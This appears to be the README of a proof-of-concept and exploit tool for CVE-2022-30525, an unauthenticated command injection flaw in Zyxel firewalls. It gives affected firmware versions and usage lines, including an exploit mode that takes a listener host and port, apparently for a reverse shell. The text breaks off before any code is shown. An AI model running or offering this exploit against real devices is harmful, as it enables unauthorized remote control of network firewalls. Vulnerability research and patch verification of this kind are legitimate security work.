CVE-2022-30525 Zyxel Firewall Command Injection Vulnerability

CVE-2022-30525 POC&EXP

author:160team.west9B

For use only by authorized security researchers. Comply with cybersecurity laws. Any issues arising are your own responsibility, and the author bears no liability.

01-Introduction

On May 12, 2022, Zyxel released a security advisory to fix an unauthenticated remote command injection vulnerability (CVE-2022-30525) in its firewall devices, with a CVSS score of 9.8. The vulnerability exists in the CGI program of certain Zyxel firewall versions, allowing arbitrary command execution on affected devices without authentication.

Affected versions:

• ATP series firmware: 5.10-5.21 Patch 1
• VPN series firmware: 4.60-5.21 Patch 1
• USG FLEX 100(W), 200, 500, 700: 5.00-5.21 Patch 1
• USG FLEX 50(W)/USG20(W)-VPN: 5.10-5.21 Patch 1

02-Usage Instructions

usage_poc: ./cve-2022-30525 -m poc -u url

usage_exp: ./cve-2022-30525 -m exp -u url -lhost ip -lport port

1. POC